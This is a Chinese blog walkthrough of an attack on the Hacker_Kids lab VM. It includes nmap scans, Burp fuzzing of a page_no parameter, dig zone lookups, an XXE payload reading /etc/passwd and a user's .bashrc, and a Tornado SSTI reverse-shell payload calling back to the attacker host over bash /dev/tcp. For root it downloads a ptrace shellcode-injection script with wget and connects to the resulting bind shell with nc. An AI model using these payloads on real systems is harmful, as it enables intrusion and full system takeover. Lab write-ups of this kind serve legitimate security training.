美文网首页
Hacker_Kids靶机渗透WP

Hacker_Kids靶机渗透WP

作者: 循环不计次 | 来源:发表于2022-07-21 15:18 被阅读0次

Hacker_Kids靶机渗透WP

一、环境介绍

拿到题目的时候,只有一个虚拟机文件,我们加载进虚拟机以后,可以看到是一个Ubuntu系统

1.png

但是我们没有系统的账号密码,一切信息都要我们从0开始获取。

二、信息收集

1.获取靶机IP

由于靶机是在虚拟机运行,那么他所在的网段由我们掌握,通过nmap搜索局域网ip可以拿到靶机的IP

$ nmap -sP 192.168.31.0/24      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 23:39 EDT
Nmap scan report for 192.168.31.2
Host is up (0.00057s latency).
Nmap scan report for 192.168.31.128
Host is up (0.00041s latency).
Nmap scan report for 192.168.31.129
Host is up (0.00044s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.08 seconds
2.jpg
  • IP: 192.168.31.129

2.获取靶机中所运行的服务及端口

$ nmap -A -p- 192.168.31.129
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 02:17 EDT
Nmap scan report for hackers.blackhat.local (192.168.31.129)
Host is up (0.00097s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
53/tcp   open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Notorious Kid : A Hacker 
|_http-server-header: Apache/2.4.41 (Ubuntu)
9999/tcp open  http    Tornado httpd 6.1
| http-title: Please Log In
|_Requested resource was /login?next=%2F
|_http-server-header: TornadoServer/6.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.01 seconds

我们扫描靶机端口发现53端口、80端口以及9999端口是开放的。

  • PORT: 53 \ 80 \ 9999

三、漏洞发现阶段

1.代码审计

我们首先访问靶机80端口,发现他运行着一个静态页面:

3.png

右键查看HTML源码,查阅代码发现:

4.png

这里提示我们添加一个url查询参数: page_no,组成url如下:http://192.168.31.129/?page_no=1

5.png

根据提示:需要我们将page_no继续遍历一下,找到正确的page_no

2. Burp爆破

我们在这里用burp进行遍历爆破,设置如下:

6.png 7.png

结果如下:

8.png

我们发现当payload为21的时候,网页返回的长度变了,说明21就是我们要的page_no,带入访问如图:

9.png

根据提示,他创建了一些子域名指向靶机,比如其中一个:hackers.blackhat.local

3. dig工具反向查询

我们拿到了他其中一个子域名,我们使用dig工具反向查一下其他的子域名:

10.png

在这里我们就拿到了另一个子域名,在/etc/hosts文件中配置一下本地DNS指向,并进行访问

11.png

修改以后记得刷新一下缓存:

$ /etc/init.d/networking restart            
Restarting networking (via systemctl): networking.service.

访问另一个子域名可以发现是另一个站点:

12.png

4. XXE漏洞利用

我们拿到新站点,第一件事还是先看看代码:

13.png

发现他这里用了XML作为http报文的body,猜测存在XXE漏洞,我们先抓包提交一个正常的,然后改包测试看看:

14.png

发现email这个参数能够回显,接下来插入我们的XXE Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE TEST [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
    <name>1</name>
    <tel>2</tel>
    <email>&xxe;</email>
    <password>4</password>
</root>
15.png

成功读取/etc/passwd文件,接下来我们看一下.bashrc文件,

为了加载你的配置,bash 在每次启动时都会加载 .bashrc 文件的内容。每个用户的 home 目录都有这个 shell 脚本。它用来存储并加载你的终端配置和环境变量。

根据刚才/etc/passwd文件,我们得知saket是可登录的用户,能执行bash,所以我们接下来查看saket的.bashrc文件:

saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash
16.png

发现读不出来,估计被拦截了,我们换种方式读取,将其通过base64编码后返回,这里用到php://filter/convert.base64-encode/resource=/home/saket/.bashrc

17.png

对结果解码后如图:

18.png

由于admin不在/etc/passwd里,我们可以猜测是网站后台或者数据库的密码

5.SSTI漏洞利用

刚才我们在使用nmap进行端口扫描的时候发现还有一个9999端口,我们在浏览器中访问:

19.png

发现还有一个站点,根据提示让我们给一个name的参数,http://hackerkid.blackhat.local:9999/?name=hello 访问后如图:

20.png

我们结合前面nmap中扫描的结果(9999端口,Tornado)猜测存在服务器端模板注入漏洞(SSTI)

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

我们简单尝试判断是否存在漏洞:http://hackerkid.blackhat.local:9999/?name={{7*7}}

21.png

发现漏洞可利用,那我们构造SSTI反弹shell的payload如下:

?name={% import os %}{{os.system('bash -c "bash -i > /dev/tcp/192.168.31.128/8888 0>&1 2>&1"')}}

上述payload记得得先url编码再拼接,在提交payload前我们在我们kali机中开启nc监听

$ nc -nvlp 8888
listening on [any] 8888 ...

提交payload后效果如下:

22.png

至此我们已经通过saket用户的身份获得shell的权限

6. python2.7 提权root

我们通过命令:

/sbin/getcap -r / 2>/dev/null

获得不同二进制文件的功能

capacity可以理解成把root的权限分割成很多部分给普通用户去使用。每个权限都会有不一样的功能。对应的命令是getcap

命令/sbin/getcap -r / 2>/dev/null

/dev/null=linux的垃圾桶
2=错误模式输出后面可以理解为如果有错误报告会直接删除不会显示
/sbin=超级用户指令系统管理命令,这里存放的是系统管理员使用的程序
/getcap -r = 查找setcap所设置的文件

执行结果:

saket@ubuntu:~$ /sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null
/snap/core20/1581/usr/bin/ping = cap_net_raw+ep
/snap/core20/1518/usr/bin/ping = cap_net_raw+ep
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

其中python2.7的权限为cap_sys_ptrace+ep

CAP_CHOWN 0 允许改变文件的所有权

CAP_DAC_OVERRIDE 1 忽略对文件的所有DAC访问限制

CAP_DAC_READ_SEARCH 2 忽略所有对读、搜索操作的限制

CAP_FOWNER 3 以最后操作的UID,覆盖文件的先前的UID

CAP_FSETID 4 确保在文件被修改后不修改setuid/setgid位

CAP_KILL 5 允许对不属于自己的进程发送信号

CAP_SETGID 6 允许改变组ID

CAP_SETUID 7 允许改变用户ID

CAP_SETPCAP 8 允许向其它进程转移能力以及删除其它进程的任意能力(只限init进程)

CAP_LINUX_IMMUTABLE 9 允许修改文件的不可修改(IMMUTABLE)和只添加(APPEND-ONLY)属性

CAP_NET_BIND_SERVICE 10 允许绑定到小于1024的端口

CAP_NET_BROADCAST 11 允许网络广播和多播访问(未使用)

CAP_NET_ADMIN 12 允许执行网络管理任务:接口、防火墙和路由等.

CAP_NET_RAW 13 允许使用原始(raw)套接字

CAP_IPC_LOCK 14 允许锁定共享内存片段

CAP_IPC_OWNER 15 忽略IPC所有权检查

CAP_SYS_MODULE 16 插入和删除内核模块

CAP_SYS_RAWIO 17 允许对ioperm/iopl的访问

CAP_SYS_CHROOT 18 允许使用chroot()系统调用

CAP_SYS_PTRACE 19 允许跟踪任何进程

CAP_SYS_PACCT 20 允许配置进程记帐(process accounting)

CAP_SYS_ADMIN 21 允许执行系统管理任务:加载/卸载文件系统、设置磁盘配额、开/关交换设备和文件等.

CAP_SYS_BOOT 22 允许重新启动系统

CAP_SYS_NICE 23 允许提升优先级,设置其它进程的优先级

CAP_SYS_RESOURCE 24 忽略资源限制

CAP_SYS_TIME 25 允许改变系统时钟

CAP_SYS_TTY_CONFIG 26 允许配置TTY设备

CAP_MKNOD 27 允许使用mknod()系统调用

CAP_LEASE 28 允许在文件上建立租借锁

CAP_SETFCAP 31 允许在指定的程序上授权能力给其它程序

python2.7拥有cap_sys_ptrace权限,意味着他可以调试别的进程,对进程进行内存修改及查看等活动,利用提权脚本:

https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py

我们可以将反弹shell提权到root,具体步骤如下:

1). 将脚本下载到靶机

saket@ubuntu:~$ wget https://gist.githubusercontent.com/wifisecguy/1d69839fe855c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py .
<919439010bbabed769d86303ff18ffbacdaecfd/inject.py .

2).查看具有root权限的进程有哪些

23.png

我们随意选择一个进程来尝试(pid 764)

3).执行脚本

saket@ubuntu:~$ python2.7 inject.py 764
python2.7 inject.py 764
Instruction Pointer: 0x0L
Injecting Shellcode at: 0x0L
Shellcode Injected!!
Final Instruction Pointer: 0x2L

查看是否注入成功,我们可以看下有没有开启5600端口,如果没有成功,我们将所有root进程都尝试一遍

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat -ano | grep 5600
tcp        1      0 0.0.0.0:5600            0.0.0.0:*               LISTEN      
tcp        8      0 192.168.31.129:5600     192.168.31.128:48164    CLOSE_WAIT 
tcp       12      0 192.168.31.129:5600     192.168.31.128:48162    CLOSE_WAIT 

4).nc连接shell

saket@ubuntu:~$ nc 192.168.31.129 5600
24.png

总结

漏洞利用点:

  1. DIG反查子域名
  2. Burp爆破
  3. XXE漏洞
  4. SSTI模板注入
  5. cap_sys_ptrace python提权

相关文章

  • Hacker_Kids靶机渗透WP

    Hacker_Kids靶机渗透WP 一、环境介绍 拿到题目的时候,只有一个虚拟机文件,我们加载进虚拟机以后,可以看...

  • My Awesome Photoblog靶机渗透WP

    My Photoblog靶机渗透WP 一、环境说明 题目给了一个iso镜像文件,我们通过vmware安装以后,直接...

  • 渗透靶机

    1.metasploitable-linux-2.0 https://excellmedia.dl.sourcef...

  • RickdiculouslyEasy靶机wp

    一、信息收集 1.主机发现 2.端口探测 nmap masscan 3.访问21端口,得到第一个flag 4.ni...

  • HTB靶机渗透

    信息收集 这里可以先设置一下hosts文件 扫描端口发现开放了 8080 的web端口 页面提示有一个源码泄露 那...

  • FourAndSix靶机渗透

    有点小白, 专业是网络安全, 但是目前刚刚接触, 心里诚惶诚恐, 想学, 但是害怕失败, 聊寄于写博客来不断地提升...

  • sunset靶机渗透实战

    sunset靶机渗透,该靶机就是纯主机渗透,比较简单,适合新手练习本垃圾现在转向工控安全领域继续学习,后续将推出团...

  • BTRsys1渗透实战

    BTRsys1渗透,该靶机没有什么难度,无聊拿来练一练吧!!!期待BTRsys-2靶机。。。靶机IP:192.16...

  • jarbas渗透实战

    jarbas靶机渗透,利用jenkins_script来getshell,利用crontab定时执行练习提权靶机I...

  • web安全的学习笔记

    1.1安全渗透环境准备 环境准备 靶机 owasp渗透机 kali集成 vmwarekali owasp联网方式~...

网友评论

      本文标题:Hacker_Kids靶机渗透WP

      本文链接:https://www.haomeiwen.com/subject/gyiuirtx.html